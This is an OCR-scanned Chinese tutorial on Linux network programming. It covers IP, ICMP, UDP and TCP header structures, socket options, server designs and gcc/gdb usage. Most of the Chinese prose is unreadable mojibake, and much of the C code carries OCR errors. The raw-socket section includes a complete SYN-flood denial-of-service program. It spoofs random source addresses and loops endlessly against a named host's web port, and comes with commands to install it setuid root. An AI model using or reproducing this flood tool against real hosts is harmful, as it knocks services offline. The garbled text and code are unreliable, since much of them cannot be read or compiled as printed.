#Hendif

#if _ BYTE_ORDER == __ BIG_ENDIAN

unsigned int ip_v: 4; /* version */

unsigned int ip_hl: 4; /* header length */

#Hendif

u_int8_t ip_tos; /* type of service */

u_short ip_len; /* total length */

u_short ip_id; /* identification */

u_short ip_off; /* fragment offset field */

#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */

#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK Ox1fff /* mask for fragmenting bits */
w_int8_t ip_ttl; /* time to live */

w_int8_t ip_p; /* protocol */

u_short ip_sum; /* checksum */

struct in_addr ip_src, ip_dst; /* source and dest address */
i3

ip_vIP Ph U RRAS 51X FLJE: 4 BL7E IPVG AR T
ip_hITP A7 B I ANMEL LA 4 271 R SR IP P S0 e 35 R 1 e K BE g 20 AN, ) 1P &
WA IEIL R AIXAMME N 5.
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ip_tos M55 R AL BEWIHR AL AL S AL

ip_len T ] TP F5405 (1)K B LA 15 0 S

ip_id AR THIXAS TP Hidhi fu.

ip_off W Fr A%, 1X Rl _L1H 1D — ke F Sk S48 1 1.

ip_tel AEAFIN ) B2 N Hh PR I —, L 224 O I A 4 7.
ip_p PRSI AN XA TP Hls B 1) & 2 0l TCRUDP P
ip_sum 7 A IR B AR 15 1 B A

ip_src,ip_dst AIEF FHLCH 1) 1P ik

KT 1P PRSI TEAN TS DL, 1 2% RFCT91

7.3 ICMP 1Y

ICMP 271 S B AL T 48 J2 76 2% 1A 336 TP Bt B0 st dn SR A6 T 8 I Al
2 H ICMP W BORHR 5 5 1.

ICMP G g5 81 F

081632

| SRR | AU | R |

| Hddls | B

ICMP 7E <netinet/ip_icmp.h>; 41 1] € &
struct icmphdr

{

u_int8_t type; /* message type */

u_int8_t code; /* type sub-code */
u_int16_t checksum;

union

{

struct

{

uw_int16_tid;

u_int16_t sequence;

} echo; /* echo datagram */

u_int32_t gateway; /* gateway address */
struct

{

u_int16_t __unused;

u_intl6_t mtu;

} frag; /* path mtu discovery */

} un;

i3
KT ICMP PR PEAITE DL AT LA RECT92
7.4 UDP i
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UDP PRS2 £ A TP 3 EAE 2 1 FAEAL 52 B UDP Fl TP Ppisl— kRS AN n] HE 4L
PRI SS UDP (R 3k k& 20«
01632

| UDP J§3i 1 | UDP H {3 |

| UDP HUFRKE | UDP B |

UDP &5 1E <netinet/udp.h>;H 138 LA :
struct udphdr {

u_int16_t source;

u_int16_t dest;

uw_int16_t len;

u_int16_t check;

¥
KT UDP WM 00,162 % RECT68

7.5 TCP

TCP WA LA TP P LR AN TCP P3G AT AE IR 3 R A IR TCP % 45
FE LRI 1T A S5 AL LS.
04810162432

| Y| H |

| FPAls |

| AT |

| [ TU[A[P|SIF] |

| | R |R|CS|Y T EI |
| [ IGIK[HININ] |

| BRI | BSHRE |

| ETR | I

TCP [F1 45 I7E <netinet/tep.h>;H1 E N«

struct tcphdr

{

u_int16_t source;
u_int16_t dest;

u_int32_t seq;
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u_int32_t ack_seq;

#if _ BYTE_ORDER == __ LITTLE_ENDIAN
u_intl6_t resl: 4;

u_intl6_t doff: 4;

u_intl6_t fin: 1;

u_intl6_t syn: 1;

u_intl6_trst: 1;

u_intl6_t psh: 1;

u_intl6_t ack: 1;

u_intl6_turg: 1;

u_intl16_t res2: 2;

#elif _ BYTE_ORDER == __BIG_ENDIAN
u_intl6_t doff: 4;

u_intl6_t resl: 4

u_intl16_t res2: 2;

u_intl6_turg: 1;

u_intl6_t ack: 1;

u_intl6_t psh: 1;

u_intl6_trst: 1;

u_intl6_t syn: 1;

w_intl6_t fin: 1;

Hendif

uw_int16_t window;

u_int16_t check;

u_intl6_t urg prt;

¥

source K I% TCP HH )35 i 11

dest %52 TCP Hls 19 H 1)

seq FRIRIZ TCP I & B 715 I IT AR P41 5
ack_seq B NF A5 Fon 527 T — IR N EHE P 515
doff Hdfs 14 A BE AT TP B HF,BL 4 75 0 B — S I 5
urg U1 RBEE K SRR B WAL 1

ack WA 5 IE#, A4 1

psh WERBCE A LIS AW WCEIE 5 LRI As4s b — R
est K 1 FRIIRIg Zs1 SR BT 4

syn A7 1 RIS 2R 7R 1 SR g L A

fin 4 1 AR, 2R 75 % RS PTIE #2

window & I, YRR 7T LLZICH) R/

check X TCP Hdi BEATH04%

urg_ptr QIR urg=1,18 245 t 5 S EcH0s TP s 8 TR 1 P 05 1) A% 1
KT TCP P PEANTE UL, IE & H RECT793

7.6 TCP &K # T
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TCP PSR — il SEIESE N T IR UEESR I o] 521, TCP 25 LA P 3R AT
AR FERR A" = AR T
N TRIFRATT AN AN SR S5 B gl ST e 1) .
H— DR ML RS A% A% — AN TCP B 6, R R il SR IS HE. hy i, 7 b 254 0. 1
SYN {7 % E A 1, H BT seq=1000FA MR A 1000).
55 DRSS AR T AL N SYN A 1 IE I A — N SR (R TR RS At
[] %5 7 By A2 3% A TCP i A R Ay 2 Wi W 2 LIRS 5K, T2 IR 95 #8 CE ACK R 1,sak_se
q=1001(1000+1) [F] i ¥ & H S HIFH1 5 .seq=2000FA MR A 2000).
5D R MR T RS B TCPIE M ACK hy 1 Al ack_seq=1001 KI1THE 2 MR S5 3% K A A
5 BT LA ) IR 55 4 SR A B2 L BCE. ACK=1,M1 ack_seq=2001,5eq=100
LkﬁﬂwﬂﬁﬁﬂgmemL%

— RS A 2 B B R o8 Rk .
ﬁﬁLEAAy«—Aﬂm RN T M ARAE E T R AT AR IR R, AN I TCP PR
A DARIE B O A BEAR 1.
vt — Ui R P R
Wr i DOS M2 (] AN 245 AE 2R Gl A A48 15 1R I, 58 1 7 K o oy — b 52 38 . 25
8 2 DOSHE 445 77 2 MG 1) e — 1 J 2,
B HUSEHAT 3 — AP IR MRS 2 B 5 T 35 AP IR B RE W 1) TCP 158 &K T L
IAZHEAT A DIR.
AN B SEBR AT AP IR BN & e T S — AP BRI 22 T A
CLI 1P bk it 2 s ﬁiﬁi?ﬁf%mﬁﬁfaamﬁﬁ@mkﬁﬁmm —FLX
FEDR A M55 2% (1) TP il 27 N3 i LI 85 i s WOAS 12565 = AP BRI A 5 XA
M55 55 ity 23 A6 R 10— B 554, L 2RI
R KR R SR E IR i o A1 K S5 Ay, 1 21 BT A 10 98 U5 FH DG, T A g
BU& P HLIRE K.
TXRE 2 10 R FH P 1) R 25 4 A H V8 SR IS 1 T30 T BRI I AN BE Ll T2l I T 4
T 3P AR 250

8. EfFIiRl

;églmﬂMEﬁﬁEﬁ%mﬁﬁm%&%FEMﬁmﬁAﬁﬁ&M%ﬁf%EE
T

LI T
8.1 getsockopt bl setsockopt
int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optl

en)

int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t
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*optlen)

level 52 ¥ HI B2 72 R AT U = FE:  1)SOL_SOCKET: & 7L 2)IPPRO
TO_IP: IP 3T, 3)IPPROTO_TCP: TCP £,

optname F5 5& 42 il (1 77 2 GUE 30T 1) 44 FR), FRAT T 1T 1 41 AR

optval BRI B AT 1 F 7 IO AR 8 128 101 42 R P 00 2 B A T 2 i

AR U] B e

SOL_SOCKET

SO_BROADCAST FLVFAIE] #EEE int
SO_DEBUG ft¥f ik int

SO_DONTROUTE A& H int
SO_ERROR RTFEEFHIIR int
SO_KEEPALIVE {RF&# int

SO_LINGER iR SCHHIERE struct linge

r

SO_OOBINLINE 7 M N IE 7 i int
SO_RCVBUF 42L& X K/ int
SO_SNDBUF AIEZEMIX K/ int
SO_RCVLOWAT HMZZ X FBR int
SO_SNDLOWAT AKiEZM X T int
SO_RCVTIMEO #ZWGEEI struct timev

al

SO_SNDTIMEO KIZHI struct timev

al

SO_REUSERADDR eV H A HLIERTG 1 int
SO_TYPE RAFEHTHKA int
SO_BSDCOMPAT 5 BSD R4 % int

IPPROTO_IP

IP_HDRINCL 7EHHE A AE IP HHE int
IP_OPTINOS IP ¥ I0 int

IP_TOS H5-KA

IP_TTL “EAFHIE] int

IPPRO_TCP

TCP_MAXSEG TCP iz KA B/ ine
TCP_NODELAY A ] Nagle 537 int
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KF XL TP TEAM G A F Linux Programmet's Manual
8.2 ioctl

ioctl AT AFE T () SCAFHIR AT (R D0, 1% LA 41— P Pl e v A .
int ioctl(int fd,int req,...)

ioct] [RIFE I B

SIOCATMARK F&15 25T AhRid int
FIOASYNC 5PN /fntibri& int
FIONREAD ZE# X T 12 [ 7 40 int

TEAAIEDTE H man joct_list AYF.

9. BRSSRIEE

AL,

i M AR A TR TR AR D B R R IR A SRR B 5 2]

o, EBIRESR A, A5 L BATT R R T TR 10 A1 32 2 50 1o 24 2 A ) A AR
FEBATEREP Z 0, FATTHEN % B AE TR IR A R BT A JX R B ATTTF A A
MIRCRA 2. AR RE Y L, — AR R SRR A VF 22 20 P LN N — A iR 55 s ol 1 Ab B
P HLRIE SR, R AR 55 S RO RE PP A T IR R SR AN 5% 50— H R T AR 55 4%
oY,

TR ST A5 DRI SS B [ — AN AT LA A>3 i (37 5K

IR RS s RS ERAE TR — A2 R LU [ 22 AN 507 i (177 5K

9.1 fEHMRS2%: UDP fR% %%

UDP {0 ik 55 4 1 SEBLARH B 4. UDP e85 25 RE B8 5 B BRIC—>% )7 Ji A3 5K A 2
. AR R A R IR P25 25 AL

AT LU R TR R S B

socket(...);

bind(...);

while(1)

{

recvfrom(...);

process(...);

sendto(...);
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}
Dk UDP s A 1 ) FL IR, 50— A2 7 i v LU A A R 55 . H AR B R AN T AL
Hh, WG5S TR AN LI SRS REIE W L

9.2 A RS 4. TCP JIRS4%

J AT 1 SR e W T .
AT I
socket(...);
bind(...);
listen(...);
while(1)

{
accept(...);
while(1)

{
read(...);
process(...);
write(...);

}

close(...);

}

TCP IR SS % — U BEAL B A% ) i (1037 3R A AR AN )7 I T A TR SR AR A2
JI 55 % A T LAGRSE 5 181 PR 5 SR SRE W SR AT A2 7 i o A IR 5% s AN BN e 1% - L
HARE A T, TCP R S5 #% — AR D P AR IR 55 4 B 1.

9.3 FH RS % TCP fRs5

H T RAMIEIA TCP IR S5 a5 BBl B, ANATT SRR T O A IR 5 4 AR, O A I 55 4 1) JEL AR 2
BN P LRI SR IEAS B IR S5 2% ELEAR LI /2 IR 5 2 B — A TRk b 2
ST

socket(...);

bind(...);

listen(...);

while(1)

{

accept(...);

if(fork(..)==0)

{

while(1)

{

read(...);

process(...);
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write(...);

}

close(...);

exit(...);

}

close(...);

}

TCP JF AR G54% AT LA TCP RIS 4% % AU A IR S5 s (R 0. ANl B Rl iy sk 17—
ANAVNERI T Ay T Wi 25 FTL R IR SR IR 5% s L R R AR T, T A R —

T AR T AR BRI R4

9.4 HRMEHR: ZHERI1/0

h T A B ERE T SR ) B GE B U RE AT DU T 2 ] 1/0 AL

T AR select

int select(int nfds,fd_set *readfds,fd_set *writefds,

td_set *except fds,struct timeval *timeout)

void FD_SET (int fd,fd_set *fdset)

void FD_CLR(int fd,fd_set *fdset)

void FD_ZERO(fd_set *fdset)

int FD_ISSET (int fd,fd_set *fdset)

PR AR 2 BATTAE 1) SCAF 5 I HERE A T REAE S HH B2, EL B8 I S 2. LE

WFA I DT B N A) G2 X L AT 2 T B GEAE 0 7 I8 WA RIEEL

i k) JXAN NG FRAT ) 1 1 FH At 2 5545 (BEL28) T 380 8080 v . o R AT T AS A R R 2

FRATH — AN IE PR select RGP, JLEIRATR B LT select KIS EIB 4 430

LA (I select [ A0 AT BinT AR T readfds BT 28 1 SO S 4

IS writefds FITAT 22 (05 ST SCHHRRIE T IR B exceptfds JoAth R R 17 FAT 38 i SCF

FHIRAT timeout N BEE nfds Py BATIFE R SCHHIE T b s K —/Mn 1
FEFRATIH] select N RER 2 — B RHZE E B LT BRI LA L. DA SCAF AT EAER.2) 4 50

PERT LU 3) 8 I T v B 1 I T 3.

N T WCE SR T BATEAL T LA, FD_SET ¥4 £d I fdset

FD_CLR 4 fd M fdset H[HIV B

FD_ZERO M fdset "3 B T A7 (1) SCAF Rk 7

FD_ISSET FIW fd J& 777 fdset £45H

] select HI—AM1 5

int use_select(int *readfd,int n)

{

fd_set my_readfd,;

int maxfd;

int i

maxfd=readfd[0];

for(i=1;i<n;i++)

if(readfd>;maxfd) maxfd=readfd;

while(1)
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{

/* REPTAT RSO R T I +/
FD_ZERO(&my_readfd);

for(i=0;1<n;i++)

FD_SET (readfd,*my_readfd);

/* EREBHIE */

select(maxfd+1,& my_readfd, NULLNULLNULL);
/* AARGTTLAEE T */

for(i=0;1<n;i++)

if(FD_ISSET (readfd,&my_readfd))

{

[ R LA T +/

we_read(readfd);

}

}

}

I select Ja FATHIAR S5 2 F2 7 AL K T
W41 (socket,bind,listen);

while(1)

{

BB W B2 5 SR 7 (FD_%);

YA select;

WA B B 4, B BT I B SR T

{

BT IEHE (accept);

TN BT S HE R 255

H

5 ] e — A D B iR 7
{

HEATHAE (read B write);

H

}

Z W EH 1/0 1T LA o7t 5 BRI 1) 1) 80 A5 A58 SR B2k UDP R3S FHAE T TCP L.
XA T ) B A0 T RS A M IR M B AR SR T B AT RE 4 S AU I P A A
R

9.5 FH &AM H: UDP 45

MBI R IS T UDP 8733 7 Jf & UDP RS 2e 6. Ik UDP RS Ze i A Ho sz 12
] B A R TCP RS S8 — R 2 G — AN T RE R AL B VLRI R I TCP AR A
—FE, BRARIR S BEAE AL PR 5 s R S AR I ) E K DA, AT Sz AR 20 i 3 b A 78

9.6 — I K TCP HRSS#$LH)
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#include <sys/socket.h>;

#include <sys/types.h>;

#include <netinet/in.h>;

#include <stringh>;

#include <errno.h>;

#define MY_PORT 8888

int main(int argc ,char **argv)

{

int listen_fd,accept_fd;

struct sockaddr_in client_addr;

int n;
if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
{

printf("Socket Error: %s\n\a" strerror(errno));
exit(1);

b

bzero(&client_addr,sizeof(struct sockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonlINADDR_ANY);
n=1;

/% AR R SS as 2 b e g5 A AT RS ORI Bl AN A Ay B ) +/
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
{

printf("Bind Error: %s\n\a" strerror(errno));

exit(1);

H

listen(listen_£d,5);

while(1)

{

accept_fd=accept(listen_fd, NULL,NULL);
if((accept_td<0)&&(errno==EINTR))

continue;

else if(accept_fd<0)

{

printf("Accept Error: %s\n\a" strerror(errno));
continue;

}

if(n=fork())==0)

{

/* TREFEALPRZ AR +/

char buffer[1024];

close(listen_fd);
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n=read(accept_fd,buffer,1024);
write(accept_fd,buffer,n);

close(accept_fd);

exit(0);

}

else if(n<0)

printf("Fork Error: %s\n\a" strerror(errno));
close(accept_fd);

}

}

AR AT LA BATTHIT I 5 25 ) S R P AR AT R P e A IR telnet 1R

10. [RIgEE=F

.
éEkiME%EE%%EﬁTM%ﬁ?%%ﬁé%?&m&&mﬂmxprmmm.

FEIX 1 B RAT] R 2] o P - R AR B 7 (SOCK _RAW). W JEUUA 7,
AT
DL 5 H i TCP Al UDP B P ANRES SEELIA ThRE. V=R aA B8 7 KA I root BRI
Az,

101 RIGEEFIAE

int sockfd(AF_INET,SOCK_RAW,protocol)

A DM — AN UG E B AR R BAN [ FRAT T T LG AS [ R R (1 Jsldp 4 L

4: IPPROTO_ICMPIPPROTO_TCPIPPROTO_UDP 2545 PEAH 5T E <netinet/inh>;
‘[:‘

T FRATT LA —AN S48 5K 158 B i Ui = 1A B s A

10.2 — AN RIBERF B

HAt A DOS St 4w B X FLRA T Aok S — AN SEIL DOS /MNP, R IHE R
i

PsAAG

Rk DS, ¢ FRRRIIRIIO |

#include <sys/socket.h>;

#include <netinet/in.h>;

#include <netinet/ip.h>;

#include <netinet/tcp.h>;
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#include <stdlib.h>;

#include <errno.h>;

#include <unistd.h>;

#include <stdio.h>;

#include <netdb.h>;

#define DESTPORT 80 /* ELU 5 (13 11 (WEB) */
#define LOCALPORT 8888

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)

{

int sockfd;

struct sockaddr_in addr;

struct hostent *host;

int on=1;

if(argc!=2)

{

fprintf(stdert,"Usage: %s hostname\n\a",argv[0]);
exit(1);

}

bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv|1],&addr.sin_addr)==0)

{

host=gethostbyname(argv([1]);

if(host==NULL)

{

fprintf(stdert,"HostName Error: %s\n\a" hstrerror(h_errno));
exit(1);

}

addr.sin_addr=*(struct in_addr *)(host->;h_addr_list[0]);

}

/e A IPPROTO_TCP QI TCP [ il woex/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)

{

fprintf(stdert,"Socket Error: %s\n\a" strerror(errno));

exit(1);

H

[roeeecees BUE TP BAE AR S I VR RSB TP K (0 i AT B CORIRS e/
setsockopt(sockfd IPPROTO_IPIP_HDRINCL,&on,sizeof(on));

e WATIRE RBP4 ] ME Y JRUR R 7 woornr/

setuid(getpid());
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Jeriokioriok S IR PEILTTN11) ootk /

send_tcp(sockfd,&addr);

}

void send_tcp(int sockfd,struct sockaddr_in *addr)

{

char buffer[100]; /*#% FIRIBUE FRA T E Hn e/

struct ip *ip;

struct tcphdr *tcp;

int head_len;

e AT A SE bR _LBCA AR AV BT DU BE AU A S5 AL RS o/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

[k SER TP B0 A IR Sk B 10 1P R Skt 2Nt p ok /

ip=(struct ip *)buffer;

ip->;ip_v=IPVERSION; /** FRA—M 1L 4 *+/

ip->;ip_hl=sizeof(struct ip)>;>;2; /** TP i L[] S K ¢/

ip->;ip_tos=0; /** JRFGHRAL ++/

ip->;ip_len=htons(head_len); /** TP £ Ha B (1S ++/

ip->;ip_id=0; /** b RGELBUHIE **/

ip->;ip_off=0; /** I _Lifl—FF, & s ) #+/

ip->ip_ttl=MAXTTL; /** FAS I A] 255 *+/

ip->;ip_p=IPPROTO_TCP; /** TATEK )& TCP f, **/

ip->;ip_sum=0; /** IR LA ++/

ip->;ip_dst=addr->;sin_addr; /** FRATECE P05 *+/

ook JROGTHE TCP BUHEAL orkek/

tcp=(struct tcphdr *)(buffer +sizeof(struct ip));

tcp->;source=htons(LOCALPORT);

tep->;dest=addr->;sin_port; /** H g [k /

tep->;seq=random();

tep->;ack_seq=0;

tcp->;doff=5;

tep->syn=1; /* REHENIERE o/

tcp->;check=0;

/R T DR I T IR SS A IR AR L T B R A0 e/

while(1)

{

/% ARANFITE AL IS HLA (1) 1 1 P 25 SEE M e/

ip->;ip_stc.s_addr=randomy();

/** AL RGN T  MBAH 2 KR RS ETRAT B CRAE L FIE +/
NI FEATH AL */

tcp—> ;check=check_sum((unsigned short *)tcp,

sizeof(struct tcphdr));

sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
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}

}

/% R BRI AR S M 1 N */
unsigned short check_sum(unsigned short *addr,int len)
{

register int nleft=len;

register int sum=0;

register short *w=addr;

short answer=0;

while(nleft>;1)

{

sum+=*w++;

nleft-=2;

}

if(nleft==1)

{

*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;

}

sum=(sum>;>;16)+ (sum&O0xfftf);
sum+=(sum>;>;16);

answer=~sum;

return(answer);

}

Gt 3 localhose i F 980 T A 471 G638 CFIT R BERBLA KO, 0 T ik
A LB AT IR FA TN AZR X AR I A 20 root, . BUE setuid £z
[root@hoyt /root]#chown root DOS

[root@hoyt /root]#chmod +s DOS

10.3 B4

JEUIR R TR AR R AN TR V2 LA VR 22 Y AR G ) 1 DUAE 2 ch 3RATT B ok 1

- A HEEARATIRZ BRI, AEATOIE T A TCP &5 7 Ik B AT 2 i
DUEIRATERIL I N 25 (buffer) (1845 T REE. RGALMCEITRA 0 Ecd 5,100 5 3h )
FHE R 25 B N _E TCP S #8485 0 b TP Sk, A0S 25 B 2 34T B A %
AR, R AT E AT AR T 2. AR i i S el 1 3R T2 AT Y 1P ik
JITAFAHEH T setsockopt bR UTRFATTIEE 50 TCP Hidla A4 1P A — A th ] Lk
RGO,

11. |Fid
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-

TSN 50565 T M HAxA B SRR R IEAR L S T — A J5OR Lk 53 A Y 1%

— A AN 1 = L Sk A N R AT AR 22 1 b S LG FRAT S B FRAE AR 22 (1 25 P
B T ANREE 58 TR B LR FRAF G 2 ARG N T2

AR FAT UG S — P ) 28R 0 i LU 5 1) (E A2 A SR AT TAR S ) B 1Y
ZREFRAVEA AL R EGE. LR TE e — BRSR BEA L 2 AR L2 &R0 T 4k
PRIF AT B D% 2R A TIE T2 2] HERE 22 A) TR AE M5 R 3 LI A VAV 2 2 IR
F A BT 255 2 B i) PR A BEAR DAL 5 Bk 1 00 7 4k
TP IR R BT 22 ST B . R G 5 A T R A A 108 B 2 %
Toft A 28 I 2 FRAT T B 22 R AV IR IR B AR 2

B —HIME A K B —F A A R S 8 K R BRI K
BAEAKPRZM = FIE T A RS2 B FRATTIAE T I A A LA R AT P RN E C 45 1.
ANEERGANELF A HIHH O HEJRATTIE AL E B 1) 3 BENS INTR JA TR 228,
MIIE A . EESE RATBE R L EIRA 155 )0 AN &2 2 BA T — @ REW 22 4 1. 3k
(IR ER W IPNIE R < uRliDN
ARG — R
SN T A (R BAT T T LA R, it ELwT LA B S A AR B 4f
FHURAERR N, T AT AR Rl 7 AH AR AR, 55 ) 1) 2 MBI e 2> i 4
PRATTI!
hoyt

1.1 %%k

<<SZH UNIX Zwfe>;> - AU Dol Rtk
<<Linux ]W?%%%%ZZ——?%%X%&WEE-
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1.GNU C #mi¥ss

GNU C R GCORZ M RINREM ANSI C FRAG RS W RAIRBE AR RS

AEEE G B C gniFds, IRERER P HEYE GeC. AWM wmfEf Gec
—IL GCC Zias i i HH LI

2FH GCC

S Z
L_ﬁ)ﬁﬂﬁ*%iﬁlﬁiﬂiﬁﬁF%ﬂ%{EFH GCC ¥ 5. gec T2 MIFEARRELIT

[\

gcc [options] [filenames]
AT IEIH SE IR R AL fir AT RN K SO E BT, /N RRE RO — ek iy
P B I

3.GCC 1&In

GCC AL 100 AN G FERE IR . X EEE T P VF 2 AR ] B AGE H A I3, (H—

s
BRI SEHEL MEM GCC AU AT AR FUh R4
fet 4 EIOHETAE, JF RSB Linux frd—BEACRRETE— N BB 135 40 B —
AL BIR, RGPS R

gcc -p -g test.c
gcc -pg test.c
B4 GCC i teste BN prof 4 EELHIHT (profile) (& BT HAL IR

SMAZIATPAT ISR, 55 e fir & R JF GCC 4 gprof fir & #E VL HIHT(H .

ARAS AR AT 114 2 — RPN, GCC R 3L (BOE i %) — 440 aout W]
PATICHE. B, N AR AE T H SR A AN aout SCFF

gcc test.c

PREEM] -0 G LB TR A K 7 AL A T AT ST E — D SR acout. fiH0, K5—
A counte H C FRFPZRIFEA A count HIRATATSCAF, FRIGHA T I fir 2
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gcc -0 count count.c

T AR -0 BTN, -o Ja AR —ANSCIF4.

GCC AR 4 A% DI < MU VF GCC UBURIIG N HERG
ST AT B . BRI RO B e (A 2 C R
RESEHOE L 5 T G GOC LI BRRUIY LA — A o 104,

-S GRPRIEIUE R GCC 204 C AR A TS 5 S0 F i 1k g %, GCC P 2B g it

FHOCAFISE Y AR s . B IR P & DO S A SR HEAT FIAR BE. 241X AN I 100
WA I, FA B8 0 328 SR o A 1 170 AN A2 e A7 AE SR L.

440 1L ik I

s/
é PRI GCC 4t C AU, "B ialaE e I 18] 58 R 196 O HLAE 2 128 i PO A6

Sy PR, 5 T R as g 1 Jn AR L5 AR A R RE IR AT O, 4 e AR B &
AL, AR Z T T8 UF GCC A8 ME 3l B 22 2 36 I R) MUHE B i il P AR At b7 A=
SN R SAT SO, XTI R B R -0 AT -02 2B

O EHEF GCC RUEACHI AT R, XA R ZHUE DL R 7 AT I
R, -02 ETEVF GCC R /NS T BEPR AIACAY. -O2 1B IRURE {3 25 13 Fr) 3 P L A
AT -O Iffg. AEE R P AR AU PR TR 2 BB

BT -O M -02 PLALkdiish, A —LURGGETUT T A AR AU, IX Lk IR i
Rk, T HAR I AT R 5 4 BE AR X L TGOS 2o 0] 2 8 i AR P AR AR IO BOR N - 2%
i, XL TR HE, 5% GCC HFRM L, fEf1T LA man gec.

YA F AT 750

GCC SCHRFECR I BUR AT BT, AEIXLeb 1 R o d W T B g A1 -pg BT

-g I YR GCC 7 ERERE GNU a8 (K M A5 S ME AR IR e Gee $Rfit
-

—MRZHADL C GRS B, 78 GCC BARREAT ¢ 1 -O (P AEARAARRS) ]

R AR A U R REAE 5 5 287 )R] BEAE S 001 PR R ACRS. E AR R I A
FHIX AN T IS 4 06 20007 FEAR T 5 (R AR e AE DU AN B GCC AE T 2sh. kTt
C BFPMEZEEWEE T 3" M gdb Wl C BFP".
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-pg TR GCC FEVRIRE T FANABANAHS, SATIE, 722E gprof FIFIHINTAE LA
BIRIRIFRIF RER SN, KT gprof W25 RES% "gprof' — 1.

5.8 gdb @I GCC EIF

Linux BET—AN gdb 1 GNU L. gdb £ — MK ¢ FI C++ FIFH

SRR A, B AL IR BEAERE I AT I SRy 1 A R S5 M AN N A I AE T DL, AR 2 edb
P b — 2L fe:

AL PR A AL AR e rh AR R A
AL IR AE B ALK R DUERE Y AR 4R € A AU AT A5 kg AT
EAEIRBE—ATAT IHRAT AR R ACAD.

FERT AT LB odb FFAZINI 4B AT LUEAT odb T, AR —VIIEH HI1E, gdb H54508 30
I HARKGAE 5 %5 LB BRI A A

GNU gdb 5.0

Copyright 2000 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no watranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux".

(gdb)

ARIAE) gdb Ja, WRAEAEATAT LHERZ I fRB T LALL R 97 AKRIEAT gdb

gdb <fname>;

AR T BT gdb, URAEEESR € BTN T. XK 5 F odb FALN
fname [RATPATSCAF. ARUSFTELI odb A A — A RIFER R b E 1) core SCAF,
W5 N EAEBAT IR AE. IRAT S odb 3 H SURAE AT 24T LB edb -h 44
B M IIX LI IR 58 W 1) 7 B 415

ARG PE A5 (Compiling Code for Debugging)

N TAE gdb IEW AR, AR AUEARFIRE 2 1P A S A5 B IS RS IR
L REA AR (R 2R A FIAE W] AT SO B s Bk S B ARG 94T 5. gdb AT B85
SEEACADAIHL 25 A AH SCHK.

FEG PRI H] -g JETHT I R I I,
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6.gdb 8 N A

gdb SCHARZ [ i AR RESEBUAN R K Dh g, 146 iy & DT B A SCPRRE N 31 SRV AR AG 7

P RO HERR A R IO B % i %, R 27.1 FIHE TARAER] gdb PRI S IR — 28y & ART
fi# gdb MIPEAAENTE S odb HIFRFG UL

FEAR odb f 4.

i A il B

file e NAHZLR G n] AT SO

kill 2 B IEAE TR IR

list 1 7 AL HAT SCPFIRIYRA AL ) — 6 2

next PAT—ATUFACIIEASE N R 250 A 8.

step HAT—ATUERACRS T HLIE BRI £ P 36

run PAT 4 HT B IR LR

quit 1k gdb

watch AR BE A — N2 R 1T AN & Ao IS e L5 A%
print Rk A

make fEPRAEAIRL odb At AT LAF B ™ A8 Al $hAT 3CA
shell RAEAEIT gdb MPMAT UNIX shell A

gdb HFRZ 5 UNIX shell 2P —HERI MM, VRAESAE bash B tesh HUIEH:
% Tab HiL gdb HARKNTE—DME—[aTS, WERAME 1L gdb 2381 B A VLR iy
A IRWRED AR L 8IS e dn 2.

7.gdb [z FH 2451

K%ﬁﬁ*’l‘i%ﬁ%*%ﬁ%ﬁﬁ@ﬁﬁ gdb WIRRESY. B AR AR S R 5, (HE T

w~T
gdb MBI ],

B TR R E . XAMERTF RN hello , & R — /MR %, TR R
PR g,

#include <stdio.h>;

static void my_print (char *);
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static void my_print2 (char *);

main ()

{

char my_string[] = "hello world!";
my_print (my_string);

my_print2 (my_string);

}

void my_print (char *string)
{
printf ("The string is %s ", string);

}

void my_print2 (char *string)
{
char *string2;

int size, i;

size = strlen (string);

string2 = (char *) malloc (size + 1);
for 1= 0;1 < size; i++)
string2[size - i] = string;

string2[size+1] ="

printf ("The string printed backward is %s ", string2)

}
HI I T PR i 4 G 7

gcc -g -0 hello hello.c
XAMRFPAT I o n T 45 R
../hello

The string is hello world!

The string printed backward is

SR KSR AT SR IERA Y, (HER —ATIT BV (AP TR AE TR T B ). JRAT I B AR A

A% AE :

The string printed backward is ldlrow olleh

MR SR A, my_print2 pRECBIATIEH TAE. iERATH gdb B HEIT S H AEMR L,

SR i 2

gdb hello
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W ORI hello FER IR 0T .

WRARE RN A 2 S T IR P E N S 5L 45 gdb, IRATRATE gdb $E7R4FF T H
file T2 KEANE:

(gdb) file hello
AN hello W HATSCAFBRARAE gdb v 24T AN E—FE.

XIRAEH] gdb [ run fiTKIBAT hello 7. HEAE gdb BAIEITR L R AASZRX
Pt

(gdb) run

Starting program:  /root/hello

The string is hello world!

The string printed backward is

Program exited with code 040

AN FITE gdb AMIISAT IS R—FE. S, A A RJPATENER AT TAE? b T4
SELE e, BATInT BLAE my_print2 BRELIT) for 1G] — AN, BRI S E gdb
PERPT NN list Ay 2 Ik, HH A :

(gdb) list

(gdb) list

(gdb) list

By AE gdb $onfF MR ER B4

S UCBEN list A4 RIS H A0 R .
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1 #include <stdio.h>;

2

3 static void my_print (char *);

4 static void my_print2 (char *);

5

6 main ()

74

8 char my_string|[] = "hello world!";
9 my_print (my_string);

10 my_print2 (my_string);
MRS R, gdb K FHRAT K Tise fir 4, 2yt B A4

11}

12

13 void my_print (char *string)

14 {

15 printf ("The string is %os ", string);
16 }

17

